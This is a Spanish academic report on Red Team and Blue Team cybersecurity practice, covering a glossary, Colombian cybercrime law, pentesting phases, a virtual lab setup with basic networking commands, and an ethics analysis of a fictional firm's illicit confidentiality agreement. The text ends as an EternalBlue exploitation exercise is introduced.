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Resumen
Este informe técnico analiza la interaccidn y la eficacia de las estrategias de Red Team y Blue
Team en el endurecimiento de la ciberseguridad organizacional, partiendo de escenarios
practicos que simulan amenazas cibernéticas. Se examinan los aspectos clave que aportan al
desarrollo de ambos equipos, destacando la emulacién de adversarios por parte del Red Team
para identificar vulnerabilidades y la defensa proactiva del Blue Team para contener ataques y
mitigar riesgos. Se enfatiza que la colaboracién y la retroalimentacién continua entre estos
equipos son esenciales para una postura defensiva resiliente y adaptativa.

El documento también presenta recomendaciones concretas para fortalecer los
aspectos de seguridad, incluyendo la formalizacion del ciclo de retroalimentacién, la
implementacién de una gestién de vulnerabilidades robusta, la inversién en capacitacién
continua del personal, y la adopcion de arquitecturas de seguridad por disefio y de confianza
cero. Se concluye que la ciberseguridad es un proceso dindmico y continuo, donde la
inteligencia de amenazas y la responsabilidad compartida son fundamentales. La sinergia entre
Red Team y Blue Team no solo mejora la capacidad de respuesta ante incidentes, sino que
también contribuye significativamente a la construccidn de una infraestructura mas segura y
una cultura organizacional consciente de los riesgos cibernéticos, vital para la proteccion de
activos digitales en un entorno de amenazas en constante evolucién.

Palabras clave: Blue Team, Ciberseguridad, Contencion, Red Team, Vulnerabilidades.



Abstract

This technical report analyzes the interaction and effectiveness of Red Team and Blue Team
strategies in strengthening organizational cybersecurity, based on practical scenarios simulating
cyber threats. Key aspects contributing to the development of both teams are examined,
highlighting the Red Team's adversary emulation to identify vulnerabilities and the Blue Team's
proactive defense to contain attacks and mitigate risks. It is emphasized that continuous
collaboration and feedback between these teams are essential for a resilient and adaptive
defensive posture.

The document also presents concrete recommendations for strengthening security
aspects, including formalizing the feedback loop, implementing robust vulnerability
management, investing in continuous staff training, and adopting security-by-design and Zero
Trust architectures. It is concluded that cybersecurity is a dynamic and continuous process,
where threat intelligence and shared responsibility are fundamental. The synergy between Red
Team and Blue Team not only improves incident response capabilities but also significantly
contributes to building a more secure infrastructure and an organizational culture aware of
cyber risks, vital for protecting digital assets in a constantly evolving threat environment.

Keywords: Blue Team, Cybersecurity, Containment, Red Team, Vulnerabilities.
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Glosario

Amenaza: Una amenaza cibernética se define como cualquier circunstancia o evento con el
potencial de causar dafo a un sistema, red o dato, generalmente explotando una vulnerabilidad
existente (Diaz et al., 2022).

Analisis Forense Digital: Es el proceso metddico de recolectar, preservar, examinar y analizar
evidencia digital tras un incidente de seguridad, con el fin de reconstruir los eventos, identificar la causa
raiz y apoyar investigaciones (Peterson, 2020).

Ataque Informdtico: Se refiere a un intento deliberado y malicioso de comprometer la
confidencialidad, integridad o disponibilidad de sistemas, redes o datos, explotando debilidades para
lograr objetivos no autorizados (Garcia et al., 2023).

Blue Team: Designa al equipo de ciberseguridad interno de una organizacién, cuya funcién
principal es la defensa de los activos digitales. Sus responsabilidades incluyen la deteccién de
intrusiones, la gestidn de incidentes y el fortalecimiento continuo de las medidas de seguridad (Chism,
2020; Rajendran et al., 2011).

Ciberdelincuencia (Cybercrime): Involucra cualquier actividad criminal que utiliza redes
informaticas o dispositivos como medio o como objetivo, incluyendo delitos como fraude electrénico,
robo de identidad y ataques a infraestructuras criticas (OAS, 2018).

Ciberseguridad: Engloba el conjunto de précticas, tecnologias, politicas y controles disefiados
para proteger sistemas, redes y datos de ataques cibernéticos, daifos o accesos no autorizados,
buscando preservar la confidencialidad, integridad y disponibilidad de la informaciéon (UNAD, 2020).

Confidencialidad: Es uno de los pilares de la seguridad de la informacién, garantizando que el
acceso a los datos o recursos estd restringido Unicamente a personas o sistemas autorizados,

previniendo la divulgacion no deseada (MINTIC, 2022).
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Confianza Cero (Zero Trust): Un modelo de seguridad que opera bajo el principio de "nunca
confiar, siempre verificar". Requiere una verificacidon estricta de cada usuario y dispositivo que intenta
acceder a los recursos de la red, sin importar su ubicacién (Rose, 2020).

Contencién: Etapa critica en la respuesta a incidentes de seguridad, donde se toman acciones
para limitar el alcance y el impacto de un ataque, aislando los sistemas afectados para prevenir la
propagacion del dafio (Zambrano Hernandez et al., 2024).

Delito Informatico: Se refiere a actos ilicitos tipificados en la legislacién que se realizan
empleando medios tecnoldgicos o que tienen como objetivo sistemas informaticos, con el fin de causar
perjuicio o para obtener un beneficio indebido (Policia, 2009).

EDR (Endpoint Detection and Response): Soluciones tecnoldgicas que ofrecen monitoreo
continuo y en tiempo real de la actividad en los puntos finales (dispositivos de usuario, servidores),
permitiendo la deteccidén y respuesta a amenazas avanzadas y comportamientos anémalos (Threat
Intelligence Platform, 2021).

Etica en Ciberseguridad: Comprende los principios morales y las directrices profesionales que
deben regir la conducta de los expertos en ciberseguridad, promoviendo el uso responsable, legal y
honorable de las herramientas y conocimientos para proteger la informacién y los sistemas (Copnia,
2015).

EternalBlue: Un exploit notorio que explota una vulnerabilidad (MS17-010) en el protocolo
Server Message Block (SMB) de Microsoft Windows, permitiendo la ejecucidon remota de cédigo y siendo
utilizado para la propagacion de malware (Schwartz & Hardy, 2017).

Exploit: Un fragmento de cddigo, una secuencia de comandos o una técnica disefiada para
aprovechar una debilidad especifica (vulnerabilidad) en un sistema, aplicacién o red, con el objetivo de
obtener acceso no autorizado o provocar un comportamiento inesperado (Schwartz & Hardy, 2017;

Revista Seguridad, 2018).
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Hardenizacidn (Hardening): Es el proceso de fortalecer la seguridad de un sistema, aplicacion o
red, reduciendo su superficie de ataque. Implica deshabilitar servicios innecesarios, aplicar
configuraciones seguras y limitar privilegios para aumentar la resistencia frente a ataques (CIS Security,
2020; CCN Cert, 2018).

Metasploit Framework: Una plataforma de cddigo abierto ampliamente utilizada en el ambito
de las pruebas de penetracién, que facilita el desarrollo, la prueba y la ejecucidn de exploits contra
sistemas vulnerables (Revista Seguridad, 2018).

OSSTMM (Open Source Security Testing Methodology Manual): Una metodologia de pruebas de
seguridad de cédigo abierto que ofrece un marco estructurado y estandarizado para evaluar la
seguridad de sistemas, aplicaciones, redes y operaciones, asegurando una cobertura integral (Zuluaga
Mateus, 2017).

Phishing: Una técnica de ingenieria social en la que los atacantes intentan engafiar a los usuarios
para obtener informacion sensible (e]. credenciales, datos financieros) haciéndose pasar por una
entidad de confianza a través de comunicaciones electrénicas (Johnson & White, 2022).

PoC (Proof of Concept): Una demostracién practica y concreta que valida la explotabilidad de
una vulnerabilidad o la viabilidad de una idea de ataque, sirviendo para ilustrar el riesgo de forma
tangible a las partes interesadas (Elbert, 2018).

Pruebas de Penetracidn (Pentesting): Un ejercicio de ciberseguridad ofensiva que simula
ataques controlados contra sistemas informaticos, redes o aplicaciones para identificar, explotar y
reportar vulnerabilidades y debilidades de seguridad desde la perspectiva de un atacante real (Zuluaga
Mateus, 2017; Incibe, 2019; PandaSecurity, 2018).

Proteccién de Datos Personales: Se refiere al marco legal y las medidas técnicas y organizativas
destinadas a garantizar la privacidad y el control de los individuos sobre su informacidn personal,

regulando su recoleccion, uso, almacenamiento y divulgacién (Congreso Colombia, 2012).
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Red Team: Un equipo de ciberseguridad ofensivo que simula el comportamiento de adversarios
reales para identificar y probar las debilidades en las defensas de una organizacidn, incluyendo la
capacidad de deteccién y respuesta del Blue Team (Elbert, 2018; Chindrus & Caruntu, 2023; Quintero,
2020).

Riesgo Cibernético: Es la cuantificacidn de la probabilidad de que una amenaza cibernética
explote una vulnerabilidad, combinada con la magnitud del impacto negativo que dicho evento podria
tener sobre los activos o las operaciones de una organizacién (Alvarez, 2018).

SIEM (Security Information and Event Management): Un sistema centralizado que recopila,
normaliza, agrega y correlaciona registros de seguridad y eventos de multiples fuentes, proporcionando
una visibilidad integral en tiempo real para la deteccion de amenazas y la gestidén de incidentes (Kim &
Kang, 2018; Moreno, 2015).

TTPs (Técnicas, Tacticas y Procedimientos): Un marco utilizado para describir el comportamiento
de los atacantes, detallando las acciones especificas (Técnicas) que realizan, la forma en que agrupan
esas acciones para lograr un objetivo (Tacticas) y los pasos secuenciales que siguen (Procedimientos) en
sus operaciones (Smith & Jones, 2019).

Vulnerabilidad: Una debilidad o un fallo en el disefio, implementacién, configuracién u
operacion de un sistema, aplicacién o protocolo que podria ser explotado por una amenaza para

comprometer la seguridad (Contreras et al., 2021).
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Introduccién

La ciberseguridad se ha consolidado como un pilar fundamental para la supervivencia y
resiliencia de cualquier organizacién en la era digital (Martinez & Soto, 2019). Las progresivas y nuevas
formas de crear amenazas cibernéticas y la constante evolucion de los vectores de ataque han llevado a
las empresas a adoptar estrategias defensivas mas robustas y proactivas. Con base a este contexto, la
implementacion de equipos especializados como el Red Team y el Blue Team emerge como una practica
esencial para fortalecer la postura de seguridad, no solo identificando vulnerabilidades, sino también
probando la capacidad de respuesta y mejorando continuamente las defensas (Elbert, 2018; Quintero,
2020).

El presente informe técnico surge de la necesidad de analizar y comprender en profundidad Ia
dindmica, los desafios y las sinergias entre los equipos de Red Team y Blue Team, a través de la
simulacion de escenarios practicos y situaciones complejas de ciberseguridad. Los escenarios vistos,
inspirados en problemdaticas comunes en entornos corporativos, buscan replicar las condiciones de una
organizacién como CyberFort Technologies, la cual se enfrenta a retos que van desde la configuracién de
un banco de trabajo seguro y la identificacién de vulnerabilidades técnicas, hasta la gestion ética y legal
de la informacién confidencial y la contencién de ataques en tiempo real. La integracion de estos casos
practicos permite una evaluacién realista de la efectividad de las estrategias ofensivas y defensivas, asi
como de las implicaciones legales y éticas inherentes al campo de la ciberseguridad.

La intencién de este documento es detallar la implementacién de estrategias de contencidn en
ciberseguridad mediante la interaccién entre Red Team y Blue Team, analizando su rol en la
identificacion y mitigacion de vulnerabilidades y en la mejora de la respuesta ante incidentes, a la luz de
los escenarios propuestos. Para ello, el informe se estructura en diversas secciones que abordan los
aspectos clave del desarrollo de ambos equipos, presentan los resultados de pruebas de penetraciény

contencidn de ataques, exponen un analisis exhaustivo de las consideraciones éticas y legales, y que a la



final, proponen recomendaciones estratégicas para fortalecer la postura de ciberseguridad de una
organizacidn. Este andlisis integral busca ofrecer una guia clara para la gestion efectiva de la seguridad
digital, fomentando una cultura de mejora continua y resiliencia organizacional frente a las amenazas

cibernéticas.
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Objetivos

Objetivo General

Analizar la interaccidn y la complementariedad de las estrategias de Red Team y Blue Team en el
endurecimiento de la ciberseguridad organizacional, evaluando su impacto en la identificacién de
vulnerabilidades, la contencidn de ataques y la mejora continua de la postura defensiva, a partir de la
experiencia obtenida en escenarios practicos de simulacidn.

Objetivos Especificos

Examinar los aspectos fundamentales y la dindmica de colaboracion entre los equipos de Red
Team y Blue Team, identificando su contribucién en la deteccion de vulnerabilidades y la contencién de
amenazas en un entorno de ciberseguridad.

Evaluar las implicaciones éticas y legales inherentes a la practica de la ciberseguridad,
considerando el manejo de informacidn confidencial y las responsabilidades profesionales en la
respuesta a incidentes, segun lo planteado en los escenarios de estudio.

Proponer recomendaciones estratégicas y operativas dirigidas a la alta gerencia para fortalecer
la postura de seguridad de la organizacion, incluyendo la optimizacién de procesos de gestion de
vulnerabilidades y la capacitacién especializada del personal.

Generar conclusiones aplicadas a partir de los hallazgos técnicos, éticos y legales, que
contribuyan a la construccidn de conocimiento y a la toma de decisiones informada para la mejora

continua de la resiliencia cibernética organizacional.
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Desarrollo del Informe
Resumen de las Etapa Formativas del Seminario Etapa 1: Conceptos Fundamentales de Seguridad y
Montaje del Banco de Trabajo
1 Leyes y Decretos en Delitos Informdticos y Proteccion de Datos

En el marco legal colombiano, la ciberseguridad se rige por un conjunto de normativas
esenciales que buscan proteger la informacién y los sistemas frente a amenazas cibernéticas. La Ley
1273 de 2009 se erige como un pilar fundamental al modificar el Cédigo Penal para tipificar nuevos
delitos informaticos y proteger la informacién y los datos. Esta ley penaliza conductas como el acceso
abusivo a un sistema informatico, la interceptacién de datos informaticos, el dafio informatico, el uso de
software malicioso, la violacidén de datos personales y la suplantacion de sitios web para capturar datos
personales, entre otros (Policia, 2009). Su promulgacidn representé un avance significativo en la
capacidad del Estado para perseguir y sancionar crimenes en el ambito digital.

Complementariamente, la Ley 1581 de 2012 (conocida como Ley de Proteccion de Datos
Personales) establece el régimen general de proteccion de datos personales en Colombia. Su objetivo es
garantizar a los ciudadanos el derecho a conocer, actualizar y rectificar la informacién que se haya
recogido sobre ellos en bases de datos o archivos (Congreso Colombia). Esta normativa impone
obligaciones claras a las organizaciones en cuanto a la recoleccién, almacenamiento, uso y circulacién de
datos personales, exigiendo medidas de seguridad adecuadas y el consentimiento previo, expreso e
informado del titular. La inobservancia de esta ley puede acarrear sanciones significativas, subrayando la
importancia de la privacidad en la gestion de la informacion.

Estas leyes, junto con otras disposiciones como la Ley 1480 de 2011 (Estatuto del Consumidor,
que incluye aspectos de comercio electrdénico y proteccion de datos en transacciones) y la Ley 527 de
1999 (sobre comercio electrénico y firmas digitales), conforman un marco legal robusto que todo

profesional de ciberseguridad debe dominar. La comprensidn de estas normativas no solo es crucial para
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el cumplimiento legal, sino también para fomentar una cultura organizacional que valore la seguridad y
la ética en el manejo de la informacién.
2 Pruebas de Penetracion (Pentesting): Etapas y Aplicacion

Las pruebas de penetracién, conocidas como pentesting, constituyen un método proactivo y
autorizado para evaluar la seguridad de sistemas informaticos, redes o aplicaciones. Consiste en la
simulacidn de ataques maliciosos con el fin de identificar vulnerabilidades y debilidades antes de que
sean explotadas por actores no autorizados. Este proceso metddico se estructura en varias etapas bien
definidas, que garantizan una evaluacidn exhaustiva de la postura de seguridad de una organizacion.

La primera etapa es la de Reconocimiento (Reconnaissance) , donde se recopila toda la
informacién posible sobre el objetivo. Esto puede incluir el uso de herramientas de cédigo abierto
(OSINT), busqueda en dominios publicos, e identificacion de infraestructura de red. Seguidamente, se
procede con la fase de Escaneo (Scanning) , que implica el uso de herramientas automatizadas para
identificar puertos abiertos, servicios activos y posibles vulnerabilidades en los sistemas. Una vez
identificadas las posibles debilidades, la etapa de Explotacién (Gaining Access) busca aprovechar esas
vulnerabilidades para obtener acceso al sistema de la red. Este es el corazdn de la prueba, donde se
demuestra la factibilidad de un ataque.

Luego de esto, la fase de Post-Explotacion (Manteniendo Acceso y Cubriendo Vias) se enfoca
en mantener el acceso obtenido y explorar el sistema para descubrir informacién adicional, escalar
privilegios, establecer persistencia y simular acciones que un atacante real podria realizar. La Ultima
etapa es la de Generacidon de Informes (Reporting) , donde se documentan detalladamente todas las
vulnerabilidades encontradas, los métodos de explotacidn utilizados, el impacto potencial y,
crucialmente, las recomendaciones para remediar las debilidades. Un ejemplo practico de pentesting
podria involucrar la identificaciéon de una vulnerabilidad en un servidor web y su explotacion para

acceder a una base de datos, demostrando el riesgo de una inyeccidon SQL o una configuracién
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incorrecta. La rigurosidad en cada una de estas etapas es fundamental para proporcionar una visiéon
clara y accionable de la seguridad del objetivo.
4 Definicion de Herramientas de Ciberseguridad y Servicios en Linea

La eficacia de las operaciones de ciberseguridad se cimienta en el dominio de un variado
repertorio de herramientas y servicios especializados. Durante esta etapa, se profundizé en la
funcionalidad de soluciones tecnoldégicas clave que empoderan a los equipos de ciberseguridad. Para el
reconocimiento de red y escaneo de vulnerabilidades, se destacd la versatilidad de Nmap (Network
Mapper) , una herramienta fundamental para descubrir hosts, servicios y puertos abiertos en una red,
asi como para identificar sistemas operativos (Schwartz & Hardy, 2017). Complementariamente, se
exploré OpenVAS ( Open Vulnerability Assessment System), un escaner de vulnerabilidades de cédigo
abierto que permite realizar analisis de seguridad exhaustivos y generar informes detallados sobre
debilidades presentes en la infraestructura (Garcia et al., 2023).

En el espacio de la explotacidén de vulnerabilidades, se estudié a fondo Metasploit Framework,
una plataforma de desarrollo y ejecucién de exploits ampliamente utilizada por los Red Teams para
simular ataques realistas y evaluar la resistencia de los sistemas ante diversas amenazas (Rodriguez,
2018). Para la investigacion y el analisis de vulnerabilidades existentes , se revisaron recursos en linea
como ExploitDB, una base de datos publica de exploits y vulnerabilidades, y CVE (Common
Vulnerabilities and Exposures) , un diccionario estandarizado de vulnerabilidades de seguridad de la
informacién conocidas publicamente (Zambrano et al., 2024). Estas bases de conocimiento son cruciales
para que los analistas de seguridad comprendan las debilidades conocidas y las defensas asociadas.

Ademas de estas herramientas especificas, se examinaron servicios en linea y conceptos de
inteligencia de amenazas, que permiten a los equipos mantenerse actualizados sobre el panorama de

riesgos. La comprension de la funcionalidad de este conjunto de herramientas y servicios es vital para
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equipar a los profesionales de ciberseguridad con las capacidades técnicas necesarias para enfrentar los
desafios cibernéticos de manera efectiva (Schwartz & Hardy, 2017).
4 Banco de Trabajo: Configuracion y Entorno de Pruebas

La configuracién de un banco de trabajo controlado y funcional es una fase indispensable en la
preparacion para cualquier actividad de ciberseguridad, ya que permite la simulacién de escenarios de
ataque y defensa sin comprometer entornos de produccion reales. En esta etapa, el enfoque principal
fue la implementacién de una infraestructura virtualizada utilizando VirtualBox, una plataforma de
virtualizacién de cddigo abierto que facilita la creacién y gestion de maquinas virtuales (Anexo 1 -
Escenario 1). Este proceso implicé la descarga e instalacidn de la version mas reciente de VirtualBox,
asegurando una base operativa estable.

La estructura del banco de trabajo consistid en la creacién de dos maquinas virtuales esenciales:
una con Kali Linux y otra con Windows 7. Kali Linux, una distribucién disefiada especificamente para
pruebas de penetracion y auditorias de seguridad, fue seleccionada por su integracion de herramientas
ofensivas, lo que la convierte en un entorno idéneo para las simulaciones del Red Team (Schwartz &
Hardy, 2017). El proceso de instalacidon de Kali Linux se llevé a cabo meticulosamente, asegurando la
correcta operatividad del sistema y sus utilidades. La maquina virtual con Windows 7, por su parte, fue
designada como el objetivo de las pruebas, representando un sistema empresarial tipico susceptible a

vulnerabilidades.
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Un paso critico en el montaje del banco de trabajo fue la configuracion de red, esencial para
establecer una comunicacion fluida entre las maquinas virtuales y con la red local fisica. Para conectar
tanto la maquina virtual de Windows 7 como la de Kali Linux directamente a la red local del host
(Windows 11) y permitirles obtener direcciones IP del mismo rango, se configuraron sus adaptadores de
red en VirtualBox utilizando el modo Adaptador Puente (Bridged Adapter). Este modo replica una
conexidén directa a la red fisica, como si las maquinas virtuales fueran dispositivos independientes en la

misma red.



llustracion 3 IP Windows 7 192.168.1.22

Fuente: Elaboracién propia

llustracion 4 IP Kali 192.168.1.21

Fuente: Elaboracién propia

Una vez configurado el modo de red, se procedid al encendido de las maquinas virtuales para
sustraer sus respectivas direcciones IP. En la maquina Windows 7, esta direccién se obtuvo abriendo la
consola de comandos (cmd) y ejecutando el comando ipconfig. En Kali Linux, se utilizé el comando

ifconfig en la terminal para identificar la direccion IP asignada a su interfaz de red.
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llustracion 5 IP Windows 7 192.168.1.22

Fuente: Elaboracién propia

llustracion 6 IP Kali 192.168.1.21

Fuente: Elaboracién propia

Posteriormente, se realizaron pruebas de conectividad para verificar la comunicacion efectiva
entre ambas maquinas. Utilizando el comando ping desde Kali Linux hacia la IP de Windows 7, y

viceversa, se confirmd que ambos sistemas podian alcanzarse y comunicarse dentro de la red
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configurada. Los resultados de estas pruebas se visualizaron en la terminal de Kali Linux y en el simbolo
del sistema de Windows, validando la preparacién del entorno para las simulaciones de pentesting.

Como por ultima medida, se procedié a la instalacidn de herramientas adicionales esenciales
para las etapas subsiguientes. Esto incluyé la actualizacidén de los paquetes de Kali Linux y la instalacién
de utilidades como netdiscover y nmap, vitales para las fases de reconocimiento y escaneo. Los
comandos de instalacién se ejecutaron en la terminal de Kali. La verificacién de que las herramientas
estaban correctamente instaladas y funcionales se realiz6 mediante la ejecucidon de comandos basicos
de cada utilidad.

Etapa 2: Actuacion Etica y Legal en Ciberseguridad
1 Andlisis de Argumentos segtin Anexos 2y 3

Al analizar el Anexo 2 (Escenario 2) y el Anexo 3 (Acuerdo de Confidencialidad), se identificaron
varias situaciones que generan preocupacion desde una perspectiva ética y legal. En primer lugar, el
Anexo 2 describe una situaciéon donde CyberFort Technologies entrega un contrato para la contratacion
de personal a pesar de saber que fue elaborado por un abogado despedido por "encontrar algunos
procesos ilicitos" y que la alta administracidon no inspecciond el documento. Esta omisidny la
subsiguiente entrega del contrato sin modificaciones, junto con la advertencia de la gerencia de tener
"suma precaucion" antes de firmar, sugiere una "negligencia grave" por parte de la empresa y una
potencial "mala fe" en el asunto de la contratacion.

Ademas, el Anexo 2 revela que la organizacidn utiliza la contratacion como una "prueba de
admision”, lo que implica que los candidatos deben realizar una "primera misidon" bajo presidn. Si bien
las pruebas de habilidades son comunes en los procesos de seleccion, la forma en que se plantea en el
escenario, aprovechando "una serie de problemas que ha identificado en su interior" y sometiendo a los

candidatos a "trabajar bajo presion", podria considerarse una practica "abusiva" y "poco ética".
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En cuanto al Anexo 3 (Acuerdo de Confidencialidad), se observan varias clausulas que podrian
ser problematicas. La estipulacidon que precisa la "Informacién Confidencial" contiene claramente "datos
secretos como 'datos de chuzadas, interceptacién de informacidn, accesos abusivos a sistemas
informaticos'. Esta insercién es altamente anormal, ya que implica que la empresa podria estar
implicada en acciones ilicitas y que el acuerdo de confidencialidad se utilizaria para ocultarlas.

Adicionalmente, el deber de la parte recipiente de la informacion de "no denunciar ante las
autoridades actividades sospechosas de espionaje o cualquier otro proceso en el cual intervenga la
apropiacién de informacion de terceros" y de "abstenerse de denunciar y publicar la informacion
confidencial e ilegal que conozca, reciba o intercambie" son precisamente "ilicitos". Estas condiciones
infringen el deber legal de revelar infracciones y quebrantan el derecho a la libertad de expresion. La
clausula que establece que "en caso que la informacidn ilegal o confidencial sea encontrada en manos
del receptor este debera acudir a un abogado privado y dejar exenta de cualquier responsabilidad legal
y penal a CyberFort Technologies" es "indebida" y "excluyente de responsabilidad". Esta intenta reubicar
la responsabilidad de los posibles ejercicios ilegales de la empresa al colaborador, lo cual no es tolerable
legalmente.

Por lo analizado, estos anexos contienen serias irregularidades que sugieren problemas éticos y
legales significativos por parte de la organizacién CyberFort Technologies, tanto en el proceso de pacto
como en el propio convenio de confidencialidad.

2 Articulos del Anexo 3 Acuerdo que Podrian ser Vulnerados

Si se confirma la presencia de procesos ilegales dentro de las actividades de CyberFort
Technologies, como se insinda en el Anexo 2 y se explicita en el Anexo 3, el acuerdo de confidencialidad
podria vulnerar varios articulos de la Ley 1273 de 2009, la cual tipifica los delitos informaticos en

Colombia (Policia Nacional, 2009).
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Especificamente, la introduccion en el significado de "Informacién Confidencial" de "datos
secretos como 'datos de chuzadas, interceptacién de informacidn, accesos abusivos a sistemas
informaticos" podria implicar la comisién de desacatos representados en la Ley 1273 de 2009 (MINTIC,
2022).

Por ejemplo:

e Articulo 269A. Acceso abusivo a un sistema informatico: Si la organizacién realiza accesos no
autorizados a sistemas informaticos de terceros, estaria incurriendo en este delito. El acuerdo, al
mencionar explicitamente "accesos abusivos a sistemas informaticos", sugiere que la
organizacién es consciente de esta practica o incluso la contempla.

e Articulo 269C. Interceptacion de datos informaticos: Si la organizacidn intercepta
comunicaciones o datos transmitidos a través de sistemas informaticos sin la debida
autorizacion legal, estaria cometiendo este delito. La referencia a "interceptacién de
informacién" en el acuerdo es una clara sefial de alerta.

Ademas, las condiciones que exigen al aceptador de la informacién a "no denunciar ante las
autoridades actividades sospechosas de espionaje o cualquier otro proceso en el cual intervenga la
apropiacién de informacién de terceros" y a "abstenerse de denunciar y publicar la informacién
confidencial e ilegal que conozca, reciba o intercambie" es posible instituir una forma de confabulacién
u ocultacion de violaciones informaticas. Aunque estas clausulas del acuerdo de confidencialidad no
constituyen directamente un delito informatico tipificado en la Ley 1273 de 2009, si podrian implicar
una induccidn o constrefiimiento a no denunciar, lo cual podria tener implicaciones legales para quien
firme el acuerdo, ademas de la ilegalidad del acuerdo en si.

Es fundamental tener en cuenta que la Ley 1273 de 2009 (Policia Nacional, 2009) busca proteger

la confidencialidad, integridad y disponibilidad de los datos y sistemas informaticos, asi como sancionar
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las conductas que atenten contra estos bienes juridicos. El acuerdo de confidencialidad, en la medida en
gue intenta asegurar o tapar acciones ilicitas, va en contra del animo y el designio de esta ley.
3 Respuesta ante la Oferta Laboral de CyberFort Technologies

El andlisis sobre si un experto en ciberseguridad deberia aceptar la oferta laboral de CyberFort
Technologies, considerando los problemas éticos y legales expuestos y el codigo de ética del COPNIA,
revela una decision compleja. Aunque la oferta econédmica es muy atractiva, con un sueldo de
$15.000.000 de pesos colombianos mensuales y un contrato vitalicio (Anexo 3), el acuerdo de
confidencialidad asociado propone précticas ilegales y poco éticas, lo cual complica la aceptacion de la
posicion.

Desde una perspectiva profesional, la decisién no puede basarse Unicamente en el beneficio
econdmico. El Cédigo de Etica para Ingenieros del COPNIA (Consejo Profesional Nacional de Ingenieria)
establece claramente que los profesionales de la ingenieria, incluyendo a los ingenieros de sistemas y
afines que laboran en ciberseguridad, deben operar con integridad, ética y responsabilidad social
(COPNIA, n.d.). El codigo exige a los profesionales: "Anteponer el interés social al particular. Obrar con
honestidad y rectitud. Velar por el cumplimiento de las normas legales. Evitar cualquier acto que pueda
desprestigiar la profesién."

En este contexto, aceptar un empleo en una empresa que parece estar implicada en actividades
arbitrarias y que pretende encubrirlas mediante un acuerdo de confidencialidad claramente
problematico, representaria una violacion flagrante del cddigo de ética del COPNIA. Un profesional de la
ciberseguridad con principios no puede ser cémplice de acciones que atenten contra la ley y la ética
profesional.

Ademas, aceptar este trabajo implicaria un alto riesgo personal y profesional. El experto podria
verse implicado en exploraciones legales, enfrentar sanciones profesionales e incluso penales, y

perjudicar irremediablemente su reputacién. Por lo anterior, aunque la oferta monetaria de CyberFort
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Technologies es atractiva, un experto en ciberseguridad moralista y comprometido no deberia aceptar
este trabajo. Los principios éticos y legales, asi como el cddigo de ética del COPNIA, deben primar sobre
cualquier beneficio econdmico. La moralidad profesional y el compromiso social son valores principales
gue no pueden ser reemplazados.

4 Andlisis del Caso "Ciberespionaje y Etica en CyberFort Technologies"

El caso de CyberFort Technologies representa una grave violacidn de la ética profesional y un
conjunto de acciones con serias implicaciones legales. La empresa, contratada para realizar una
auditoria de seguridad para un gobierno extranjero, se desvid de su mandato y llevé a cabo actividades
de ciberespionaje contra su cliente. Al descubrir malware en los sistemas del gobierno, los expertos de
CyberFort Technologies no se limitaron a eliminar la amenaza, sino que utilizaron su acceso privilegiado
para recopilar informacién confidencial, incluyendo comunicaciones sensibles y documentos
estratégicos relacionados con temas de defensa, politica exterior y negociaciones comerciales.

La justificacion de los empleados de la empresa, quienes argumentaron que estas acciones
buscaban "garantizar la seguridad" y "prevenir futuras amenazas", es inaceptable, ya que la falta de
consentimiento explicito por parte del gobierno contratante convierte esta recopilacion de informacion
en un acto de ciberespionaje. La situaciéon se agrava ain mas al descubrirse que algunos empleados de
CyberFort Technologies vendieron la informacién obtenida en la darknet y a empresas rivales. Esta
accion no solo viola la privacidad del cliente, sino que también constituye un delito grave de traicion y
espionaje.

Respuestas a los Interrogantes:

1. ¢Hasta qué punto las empresas de ciberseguridad deben tener acceso a informacion
sensible de sus clientes durante una auditoria de seguridad, y codmo se puede garantizar que este

acceso no sea explotado de manera indebida?



32

Las empresas de ciberseguridad deben tener acceso exclusivamente a la informacién necesaria
para el alcance del servicio contratado, un acceso que debe estar claramente definido y limitado en el
contrato. Para prevenir el uso indebido de este acceso, se deben implementar medidas robustas. Estas
incluyen acuerdos de confidencialidad y no divulgacién (NDA) que establezcan claramente las
obligaciones de la empresa. Es fundamental aplicar el principio de minimo privilegio, otorgando el
menor nivel de acceso necesario. La segregacién de funciones es crucial para evitar que una sola
persona tenga control total. Ademas, se requiere la implementacion de auditorias y registros de acceso
detallados, junto con una supervisidn y control interno efectivos. También se deberia, adherir a
certificaciones y estandares de seguridad reconocidos internacionalmente, como I1SO 27001 (Norma I1SO
27001, n.d.), es vital para establecer buenas practicas.

2. ¢{Qué mecanismos de supervision y control deben implementarse en las empresas de
ciberseguridad para evitar que sus empleados utilicen herramientas avanzadas de andlisis forense con
fines no autorizados o éticamente cuestionables?

Para prevenir el uso indebido de herramientas de analisis forense, las empresas de
ciberseguridad deben implementar mecanismos de supervisién y control estrictos. Esto incluye
establecer Politicas de Uso Aceptable (PUA) claras y detalladas que definan las actividades permitidas y
prohibidas. La capacitacion y concientizacién de los empleados sobre las implicaciones éticas y legales es
fundamental para fomentar una cultura de responsabilidad. Se debe limitar el control de acceso y
autorizacion a las herramientas solo al personal autorizado, registrando cada uso. La supervisién de la
actividad mediante sistemas de monitoreo es clave para detectar comportamientos anémalos. Las
auditorias internas y externas periddicas verifican el cumplimiento de las politicas, y la existencia de
canales de denuncia seguros y confidenciales permite a los empleados reportar conductas indebidas sin

temor a represalias.
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3. éComo deben responder los gobiernos y organizaciones cuando descubren que una
empresa de ciberseguridad contratada ha cometido actos de ciberespionaje? ¢ Cuales serian las
medidas adecuadas para restaurar la confianza y asegurar que no ocurra nuevamente?

Ante el descubrimiento de ciberespionaje por parte de una empresa de ciberseguridad
contratada, los gobiernos y organizaciones deben responder con firmeza. Esto implica una investigacion
exhaustiva para determinar el alcance del espionaje e identificar responsables, seguida de acciones
legales mediante denuncias ante las autoridades competentes. Es crucial la abolicion del contrato con la
empresa infractora y la prohibicidn de su participacién en futuros proyectos. La notificacion a las partes
afectadas es indispensable, junto con la revision y reforzamiento de las politicas de seguridad internas.
Se deben realizar auditorias de confianza independientes con otra compaiiia de ciberseguridad para un
examen completo de los sistemas. Y por otro lado, la asistencia internacional con otros gobiernos es
vital para compartir informacién sobre la empresa infractora y evitar que opere impunemente. Para
restaurar la confianza y prevenir futuras ocurrencias, es fundamental demostrar un compromiso firme
con la ética y la legalidad en la ciberseguridad, lo que implica fomentar la transparencia, la rendicion de
cuentas y el cuidado cabal de las leyes y regulaciones.

Etapa 3: Ejecucion de Pruebas de Intrusion (Red Team)

La tercera etapa del seminario se centrd en la aplicacion practica de las habilidades del Equipo
Rojo (Red Team) mediante la ejecucidén de pruebas de intrusién en un escenario simulado. El objetivo
principal fue demostrar la explotacién de la vulnerabilidad EternalBlue (MS17-010) en un sistema
Windows a través del protocolo SMB, documentando cada fase del proceso.

